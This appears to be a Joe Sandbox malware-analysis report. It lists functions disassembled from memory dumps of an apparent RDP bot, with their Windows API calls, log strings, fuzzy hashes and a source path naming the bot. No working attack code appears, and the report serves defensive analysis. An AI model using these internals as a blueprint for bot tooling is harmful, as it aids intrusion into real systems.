Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: e0801e7690222cc35289c1b93414f4e860f672ed9cdf723d85d364122bdd9ec2
Instruction ID: 15a5b440f223f9f7a0f8f5d4e1c0e1a062501792a50cea36b0253be610a86884
Opcode Fuzzy Hash: e0801e7690222cc35289c1b93414f4e860f672ed9cdf723d85d364122bdd9ec2
Instruction Fuzzy Hash: 97419291E7C61781FA20FA459C00B79E6607F00B89FD44432D90E467E0EF6DE6E1E32A

Function 00007FF708872AE5 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,?,?,00007FF708873833), ref: 00007FF708872AFC
GetLastError.KERNEL32 ref: 00007FF708872B53

Strings

NULL, xrefs: 00007FF708872C82
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872B3C
[I] (%s) -> Done(path=%s), xrefs: 00007FF708872C98
fs_file_delete, xrefs: 00007FF708872B35, 00007FF708872B61, 00007FF708872C91
[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu), xrefs: 00007FF708872B68

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: NULL$[E] (%s) -> DeleteFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[I] (%s) -> Done(path=%s)$fs_file_delete
API String ID: 2018770650-4119452840
Opcode ID: 09e8feae0f86e5f08bdf1165c431ff31ac24ab6767de1c26253ba0b688ab206d
Instruction ID: fb5ac61f12049688786605316fcfaecca83584819268776ab4e98f00e6e456a7
Opcode Fuzzy Hash: 09e8feae0f86e5f08bdf1165c431ff31ac24ab6767de1c26253ba0b688ab206d
Instruction Fuzzy Hash: 23312C51F2C206C2FA60FB08AC54FB9E1609F50794FA44832CA1F472D1AF1CE8E5932A

Function 00007FF8BFB8219D Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF8BFB821EB
WSAGetLastError.WS2_32 ref: 00007FF8BFB821FA

Strings

[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB8225E
[E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d), xrefs: 00007FF8BFB8223E
tcp_send, xrefs: 00007FF8BFB82206, 00007FF8BFB82237
tcp_recv, xrefs: 00007FF8BFB82257
[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB8220D

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsend
String ID: [E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d)$tcp_recv$tcp_send
API String ID: 1802528911-690514478
Opcode ID: e8ba87babdc92bbe2a7f32843d88da73179fa1b60c34bd879e4ec4185fda7202
Instruction ID: d54c172bcc8366aaa6b0cd1f63937d0d8bcf20c985ed33fb8fe988ef89450408
Opcode Fuzzy Hash: e8ba87babdc92bbe2a7f32843d88da73179fa1b60c34bd879e4ec4185fda7202
Instruction Fuzzy Hash: 9F21AE61B1854381EA206FEDB980AF86781AF967F4F549331DF3C87AE6DE2DA545C300

Function 00007FF8BFAB1CBD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF8BFAB1D0B
WSAGetLastError.WS2_32 ref: 00007FF8BFAB1D1A

Strings

tcp_recv, xrefs: 00007FF8BFAB1D77
[E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d), xrefs: 00007FF8BFAB1D5E
tcp_send, xrefs: 00007FF8BFAB1D26, 00007FF8BFAB1D57
[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFAB1D2D
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFAB1D7E

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastsend
String ID: [E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d)$tcp_recv$tcp_send
API String ID: 1802528911-690514478
Opcode ID: 393cc4d55ed95309d327a289b224e54295f4c57547dcd5b235bd5891c8381aac
Instruction ID: 128cff68bfc942b3a57d822e3cbb91adaf8104362f16a1dd2e628078fdaa8a9b
Opcode Fuzzy Hash: 393cc4d55ed95309d327a289b224e54295f4c57547dcd5b235bd5891c8381aac
Instruction Fuzzy Hash: 1221D151B0891245FA284FADAD426B45B51AF057FCF546331DFBC9A6E2DE2CA8498300

Function 00007FF8BFB52294 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB522BC
setsockopt.WS2_32 ref: 00007FF8BFB522E8
WSAGetLastError.WS2_32 ref: 00007FF8BFB522FF
WSAGetLastError.WS2_32 ref: 00007FF8BFB52324

Strings

[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB5233B
tcp_set_timeo, xrefs: 00007FF8BFB5230F, 00007FF8BFB52334
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB52316

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: bb776e6ec1625de7b5e10f3268d44c0e9dc8f51f6ab7e4191ff7ab127f8cc73c
Instruction ID: 7cf72b812e1feb1f079a4c886e2a667ce9ff092629a9dbf0a4f1cfb7c8caca71
Opcode Fuzzy Hash: bb776e6ec1625de7b5e10f3268d44c0e9dc8f51f6ab7e4191ff7ab127f8cc73c
Instruction Fuzzy Hash: 35118271A0958296F720AB9DE84006AB760FF987D4F504235EB6D83FE4DF7CE5498B00

Function 00007FF8BFB81824 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB8184C
setsockopt.WS2_32 ref: 00007FF8BFB81878
WSAGetLastError.WS2_32 ref: 00007FF8BFB8188F
WSAGetLastError.WS2_32 ref: 00007FF8BFB818B4

Strings

[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB818A6
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB818CB
tcp_set_timeo, xrefs: 00007FF8BFB8189F, 00007FF8BFB818C4

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: a09ac9daefed23991da653184c4f8eb038bf2771e315a903420f93c20336098a
Instruction ID: 7631d90fcac33f23cd3ebdb359f02effd0c428c7ab7b2395ecefb8411b1ac45d
Opcode Fuzzy Hash: a09ac9daefed23991da653184c4f8eb038bf2771e315a903420f93c20336098a
Instruction Fuzzy Hash: 6A113071A1854286E724AFADF8045B5A760FF887D4F108235EB6D837A5DF7CD509CB00

Function 00007FF8B9152154 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B915217C
setsockopt.WS2_32 ref: 00007FF8B91521A8
WSAGetLastError.WS2_32 ref: 00007FF8B91521BF
WSAGetLastError.WS2_32 ref: 00007FF8B91521E4

Strings

tcp_set_timeo, xrefs: 00007FF8B91521CF, 00007FF8B91521F4
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B91521D6
[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B91521FB

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: e3bf17d15134ec2d5b8b500cbb7a150eea8208203bd0f4f35b313d41db0cba31
Instruction ID: 0722d53ca4698f41bb1f32d85a576daa88be57ee0f9b98ea681112667b733d14
Opcode Fuzzy Hash: e3bf17d15134ec2d5b8b500cbb7a150eea8208203bd0f4f35b313d41db0cba31
Instruction Fuzzy Hash: FF116071A086C386F7609F1DA840076AA61EF897D4F604232EB6E937E4DF7CE549DB00

Function 00007FF8BFAB1344 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFAB136C
setsockopt.WS2_32 ref: 00007FF8BFAB1398
WSAGetLastError.WS2_32 ref: 00007FF8BFAB13AF
WSAGetLastError.WS2_32 ref: 00007FF8BFAB13D4

Strings

[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFAB13EB
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFAB13C6
tcp_set_timeo, xrefs: 00007FF8BFAB13BF, 00007FF8BFAB13E4

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 6327c41a263b5bd59de28098a4b2cc79f4f79abb1213812bc069fc7c46f51ebf
Instruction ID: c73c510c01fa6896908e309f05f6a81dec94294a1b9b3e63e7b39f8b9cb4b151
Opcode Fuzzy Hash: 6327c41a263b5bd59de28098a4b2cc79f4f79abb1213812bc069fc7c46f51ebf
Instruction Fuzzy Hash: 0911E670A085424AF3649BAEE8011696760FF887C8F106235EB6D83BE5EF7CD54D8B00

Function 00007FF8BA502154 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BA50217C
setsockopt.WS2_32 ref: 00007FF8BA5021A8
WSAGetLastError.WS2_32 ref: 00007FF8BA5021BF
WSAGetLastError.WS2_32 ref: 00007FF8BA5021E4

Strings

[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA5021FB
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA5021D6
tcp_set_timeo, xrefs: 00007FF8BA5021CF, 00007FF8BA5021F4

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: f40d194872c8d45ecef68134c9250b96dff7f7ea37d8a0e4c201a4cf96a80767
Instruction ID: 882c4a1239bd293b3a3b0140c111a1b068546f167f57a38e305101af8da6518e
Opcode Fuzzy Hash: f40d194872c8d45ecef68134c9250b96dff7f7ea37d8a0e4c201a4cf96a80767
Instruction Fuzzy Hash: 2711547160C54296E361AB9DAC4047A6660FB9A7D4F504272EF5E837B4DF7CD60E8B00

Function 00007FF8B9184CD4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B9184CFC
setsockopt.WS2_32 ref: 00007FF8B9184D28
WSAGetLastError.WS2_32 ref: 00007FF8B9184D3F
WSAGetLastError.WS2_32 ref: 00007FF8B9184D64

Strings

[E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184D7B
[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184D56
tcp_set_timeo, xrefs: 00007FF8B9184D4F, 00007FF8B9184D74

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_RCVTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$[E] (%s) -> setsockopt(SO_SNDTIMEO) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_timeo
API String ID: 1729277954-887953274
Opcode ID: 210327e81317c6c81d8a4d3a67e3bb1bf57ab15882df713e7d46baaea4ccbee5
Instruction ID: d599f8b02d15c097c4edb2ea157ec6280bd39072c889911d061f5213395272f2
Opcode Fuzzy Hash: 210327e81317c6c81d8a4d3a67e3bb1bf57ab15882df713e7d46baaea4ccbee5
Instruction Fuzzy Hash: 8E116371A0858296E3209F2DE840565A660AF987D4F104335EB6D83AE5DF7CD507AB01

Function 00007FF8BFAB6230 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB6262
GetProcessHeap.KERNEL32 ref: 00007FF8BFAB626D
HeapFree.KERNEL32 ref: 00007FF8BFAB627E
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB62A2
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB62C5
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB6332

Strings

[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FF8BFAB631F
routine_tx, xrefs: 00007FF8BFAB6318

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: CriticalSection$EnterHeapLeave$FreeProcess
String ID: [D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$routine_tx
API String ID: 2539320189-3555278722
Opcode ID: a997a4d3c2cc867a1520977a3d56c0cbdd638971f55bc1ea485832968568b02c
Instruction ID: 441a3a17dc87814d513e22bf71bcf59878ec2a93dbac6c242db2e2a9b9643ba7
Opcode Fuzzy Hash: a997a4d3c2cc867a1520977a3d56c0cbdd638971f55bc1ea485832968568b02c
Instruction Fuzzy Hash: BD311E35A08E428AEB288F99E841239B3A0FF44FC8F186035DB5E43B65DF3DE4458300

Function 00007FF8BFB87E69 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF8BFB87E72
GetLastError.KERNEL32 ref: 00007FF8BFB87EB7

Strings

(path != NULL), xrefs: 00007FF8BFB87E96
fs_path_exists, xrefs: 00007FF8BFB87E9D
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB87E8F
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB87EA4

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-1112464793
Opcode ID: 246f99be2f9a7613f0f970f80b26d1d377dd2a132c685df6de0c815cf2380339
Instruction ID: f9da6b9d9c7af8cf84f521e8a18c8c8a8e9b3a49838fd0b9bd05707847679c76
Opcode Fuzzy Hash: 246f99be2f9a7613f0f970f80b26d1d377dd2a132c685df6de0c815cf2380339
Instruction Fuzzy Hash: 7421AF50E0C18382FB6446DDA48437C5388AF8039EF744572E74ECA6D6DE2DEEC6D252

Function 00007FF8BA5066C9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF8BA5066D2
GetLastError.KERNEL32 ref: 00007FF8BA506717

Strings

(path != NULL), xrefs: 00007FF8BA5066F6
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BA5066EF
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA506704
fs_path_exists, xrefs: 00007FF8BA5066FD

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-1112464793
Opcode ID: 7c20dbad54cca28f09c7073d6860dd97cea1816a0499d71971a91a429b17aa21
Instruction ID: 441eaf5faaf772590a9906eda99ced3d8a9f139d69dff6b6f406e5df5833e716
Opcode Fuzzy Hash: 7c20dbad54cca28f09c7073d6860dd97cea1816a0499d71971a91a429b17aa21
Instruction Fuzzy Hash: 48219B50E0C443C1FB744ADC9CE4379265A6F02399F6445B2DA4E8A9B0DEBDEF859602

Function 00007FF7088743A9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,00007FF7088782A5), ref: 00007FF7088743B2
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF7088782A5), ref: 00007FF7088743F7

Strings

(path != NULL), xrefs: 00007FF7088743D6
fs_path_exists, xrefs: 00007FF7088743DD
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7088743CF
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7088743E4

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_path_exists
API String ID: 1799206407-1112464793
